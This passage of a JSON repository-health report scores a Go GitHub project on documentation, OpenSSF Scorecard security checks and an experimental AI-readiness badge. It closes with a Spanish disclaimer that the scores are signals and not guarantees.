              "has_readme": true,
              "has_docs_dir": false,
              "has_description": true
            },
            "components": [
              {
                "key": "readme",
                "name": "README",
                "detail": null,
                "points": 30,
                "status": "met",
                "details": [],
                "max_points": 30
              },
              {
                "key": "documentation_directory",
                "name": "Documentation directory",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 25
              },
              {
                "key": "documentation_homepage_site",
                "name": "Documentation / homepage site",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 15
              },
              {
                "key": "repository_description",
                "name": "Repository description",
                "detail": null,
                "points": 10,
                "status": "met",
                "details": [],
                "max_points": 10
              },
              {
                "key": "topics",
                "name": "Topics",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 10
              },
              {
                "key": "wiki",
                "name": "Wiki",
                "detail": null,
                "points": 10,
                "status": "met",
                "details": [],
                "max_points": 10
              }
            ]
          }
        ],
        "description": "Are baseline engineering and documentation practices in place?"
      },
      {
        "key": "security",
        "band": "at_risk",
        "name": "Security",
        "value": 48,
        "weight": 0.16,
        "metrics": [
          {
            "key": "security_posture",
            "band": "at_risk",
            "name": "Security posture",
            "note": "Excluded from scoring (no data or not applicable): Packaging. Remaining weights renormalized.",
            "notes": [
              {
                "code": "excluded_no_data",
                "params": {
                  "components": [
                    "packaging"
                  ]
                }
              },
              {
                "code": "weights_renormalized",
                "params": {}
              }
            ],
            "value": 48,
            "inputs": {
              "source": "openssf_scorecard",
              "checks_evaluated": 17,
              "scorecard_version": "v5.5.0",
              "checks_inconclusive": 1,
              "scorecard_aggregate": 4.8
            },
            "components": [
              {
                "key": "binary_artifacts",
                "name": "Binary-Artifacts",
                "detail": "no binaries found in the repo",
                "points": 7.5,
                "status": "met",
                "details": [],
                "max_points": 7.5
              },
              {
                "key": "branch_protection",
                "name": "Branch-Protection",
                "detail": "branch protection not enabled on development/release branches",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 7.5
              },
              {
                "key": "ci_tests",
                "name": "CI-Tests",
                "detail": "4 out of 4 merged PRs checked by a CI test -- score normalized to 10",
                "points": 2.5,
                "status": "met",
                "details": [],
                "max_points": 2.5
              },
              {
                "key": "cii_best_practices",
                "name": "CII-Best-Practices",
                "detail": "no effort to earn an OpenSSF best practices badge detected",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 2.5
              },
              {
                "key": "code_review",
                "name": "Code-Review",
                "detail": "Found 0/24 approved changesets -- score normalized to 0",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 7.5
              },
              {
                "key": "contributors",
                "name": "Contributors",
                "detail": "project has 0 contributing companies or organizations -- score normalized to 0",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 2.5
              },
              {
                "key": "dangerous_workflow",
                "name": "Dangerous-Workflow",
                "detail": "no dangerous workflow patterns detected",
                "points": 10,
                "status": "met",
                "details": [],
                "max_points": 10
              },
              {
                "key": "dependency_update_tool",
                "name": "Dependency-Update-Tool",
                "detail": "no update tool detected",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 7.5
              },
              {
                "key": "fuzzing",
                "name": "Fuzzing",
                "detail": "project is fuzzed",
                "points": 5,
                "status": "met",
                "details": [],
                "max_points": 5
              },
              {
                "key": "license",
                "name": "License",
                "detail": "license file detected",
                "points": 2.5,
                "status": "met",
                "details": [],
                "max_points": 2.5
              },
              {
                "key": "maintained",
                "name": "Maintained",
                "detail": "project was created within the last 90 days. Please review its contents carefully",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 7.5
              },
              {
                "key": "packaging",
                "name": "Packaging",
                "detail": "packaging workflow not detected",
                "points": 0,
                "status": "excluded",
                "details": [
                  {
                    "code": "no_data",
                    "params": {}
                  }
                ],
                "max_points": 5
              },
              {
                "key": "pinned_dependencies",
                "name": "Pinned-Dependencies",
                "detail": "all dependencies are pinned",
                "points": 5,
                "status": "met",
                "details": [],
                "max_points": 5
              },
              {
                "key": "sast",
                "name": "SAST",
                "detail": "SAST tool is not run on all commits -- score normalized to 0",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 5
              },
              {
                "key": "security_policy",
                "name": "Security-Policy",
                "detail": "security policy file not detected",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 5
              },
              {
                "key": "signed_releases",
                "name": "Signed-Releases",
                "detail": "Project has not signed or included provenance with any releases.",
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 7.5
              },
              {
                "key": "token_permissions",
                "name": "Token-Permissions",
                "detail": "GitHub workflow tokens follow principle of least privilege",
                "points": 7.5,
                "status": "met",
                "details": [],
                "max_points": 7.5
              },
              {
                "key": "vulnerabilities",
                "name": "Vulnerabilities",
                "detail": "0 existing vulnerabilities detected",
                "points": 7.5,
                "status": "met",
                "details": [],
                "max_points": 7.5
              }
            ]
          }
        ],
        "description": "Are visible security and supply-chain practices strong, with no malicious dependency and no unresolved high-risk jurisdiction exposure?"
      },
      {
        "key": "ai_readiness",
        "band": "good",
        "name": "AI Readiness",
        "value": 83,
        "weight": 0,
        "metrics": [
          {
            "key": "ai_agent_context",
            "band": "excellent",
            "name": "Agent context & guidance",
            "note": null,
            "notes": [],
            "value": 85,
            "inputs": {
              "has_llms_txt": false,
              "legible_history_share": 1,
              "agent_instruction_files": [
                "AGENTS.md",
                "CLAUDE.md"
              ],
              "agent_instruction_max_bytes": 26247
            },
            "components": [
              {
                "key": "agent_instructions",
                "name": "Agent instructions",
                "detail": "AGENTS.md, CLAUDE.md",
                "points": 45,
                "status": "met",
                "details": [
                  {
                    "code": "file_list",
                    "params": {
                      "files": "AGENTS.md, CLAUDE.md"
                    }
                  }
                ],
                "max_points": 45
              },
              {
                "key": "machine_readable_docs_llms_txt",
                "name": "Machine-readable docs (llms.txt)",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 15
              },
              {
                "key": "legible_commit_history",
                "name": "Legible commit history",
                "detail": "63 of 63 human commits state their intent (structured subject or explanatory body)",
                "points": 40,
                "status": "met",
                "details": [
                  {
                    "code": "legible_history",
                    "params": {
                      "legible": 63,
                      "sampled": 63
                    }
                  }
                ],
                "max_points": 40
              }
            ]
          },
          {
            "key": "ai_verify_loop",
            "band": "good",
            "name": "Verify loop (build / test / typecheck)",
            "note": null,
            "notes": [],
            "value": 76,
            "inputs": {
              "has_nix": false,
              "has_tests": true,
              "lockfiles": [
                "go.sum"
              ],
              "has_dockerfile": false,
              "typed_language": true,
              "bootstrap_files": [],
              "has_devcontainer": false,
              "has_linter_config": false,
              "typecheck_configs": [],
              "agent_commit_share": 0.46,
              "toolchain_manifests": [
                "go.mod"
              ],
              "dependency_bot_commit_share": 0
            },
            "components": [
              {
                "key": "one_command_bootstrap",
                "name": "One-command bootstrap",
                "detail": "go.mod (toolchain convention, no task runner)",
                "points": 12.6,
                "status": "partial",
                "details": [
                  {
                    "code": "toolchain_convention",
                    "params": {
                      "files": "go.mod"
                    }
                  }
                ],
                "max_points": 18
              },
              {
                "key": "automated_tests",
                "name": "Automated tests",
                "detail": null,
                "points": 22,
                "status": "met",
                "details": [],
                "max_points": 22
              },
              {
                "key": "lint_format_config",
                "name": "Lint / format config",
                "detail": null,
                "points": 0,
                "status": "missed",
                "details": [],
                "max_points": 11
              },
              {
                "key": "static_type_checking",
                "name": "Static type checking",
                "detail": "Go (statically typed)",
                "points": 11,
                "status": "met",
                "details": [
                  {
                    "code": "statically_typed_language",
                    "params": {
                      "language": "Go"
                    }
                  }
                ],
                "max_points": 11
              },
              {
                "key": "reproducible_environment",
                "name": "Reproducible environment",
                "detail": "lockfile",
                "points": 10,
                "status": "met",
                "details": [
                  {
                    "code": "file_list",
                    "params": {
                      "files": "lockfile"
                    }
                  }
                ],
                "max_points": 10
              },
              {
                "key": "demonstrated_agent_practice",
                "name": "Demonstrated agent practice",
                "detail": "29 of the last 63 commits agent-authored or agent-credited",
                "points": 10,
                "status": "met",
                "details": [
                  {
                    "code": "agent_authored_commits",
                    "params": {
                      "count": 29,
                      "sampled": 63
                    }
                  }
                ],
                "max_points": 10
              },
              {
                "key": "automated_maintenance",
                "name": "Automated maintenance",
                "detail": "no automated dependency updates observed",
                "points": 0,
                "status": "missed",
                "details": [
                  {
                    "code": "no_dependency_automation",
                    "params": {}
                  }
                ],
                "max_points": 8
              },
              {
                "key": "openssf_scorecard_pinned_dependencies",
                "name": "OpenSSF Scorecard: Pinned-Dependencies",
                "detail": "all dependencies are pinned",
                "points": 10,
                "status": "met",
                "details": [],
                "max_points": 10
              }
            ]
          },
          {
            "key": "ai_code_legibility",
            "band": "excellent",
            "name": "Code legibility for models",
            "note": null,
            "notes": [],
            "value": 99,
            "inputs": {
              "primary_language": "Go",
              "largest_source_bytes": 84740,
              "source_files_sampled": 159,
              "oversized_source_files": 4
            },
            "components": [
              {
                "key": "type_checkable_code",
                "name": "Type-checkable code",
                "detail": "Go (statically typed)",
                "points": 45,
                "status": "met",
                "details": [
                  {
                    "code": "statically_typed_language",
                    "params": {
                      "language": "Go"
                    }
                  }
                ],
                "max_points": 45
              },
              {
                "key": "manageable_file_sizes",
                "name": "Manageable file sizes",
                "detail": "4/159 source files over 60KB",
                "points": 53.6,
                "status": "partial",
                "details": [
                  {
                    "code": "oversized_source_files",
                    "params": {
                      "kb": 60,
                      "sampled": 159,
                      "oversized": 4
                    }
                  }
                ],
                "max_points": 55
              }
            ]
          }
        ],
        "description": "How well is the repo equipped to be developed and maintained with AI coding agents? An independent, experimental badge — weight 0.0, so it is surfaced on its own and does not affect the overall health score."
      }
    ],
    "metrics_version": "1.13.0"
  },
  "warnings": [
    "GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository"
  ],
  "report_type": "repository",
  "generated_at": "2026-07-27T09:13:55.612012Z",
  "schema_version": "0.27.0",
  "badge_url": "https://raw.githubusercontent.com/inspect-software/badges/main/v1/z/zdypro888/iknowledge.svg",
  "full_name": "zdypro888/iknowledge",
  "license_state": "standard",
  "license_spdx": "MIT"
}

Las puntuaciones son señales, no garantías. Reflejan prácticas públicamente visibles en GitHub; no son una auditoría de código ni una garantía de seguridad.

Los datos ausentes se excluyen y los pesos se renormalizan; nunca se puntúan como cero. La metodología es versionada y abierta: métricas v1.13.0, esquema v0.27.0 — metodología completa · wiki de métricas.

Cómo se sitúa un resultado dentro del registro general: estadísticas agregadasGo.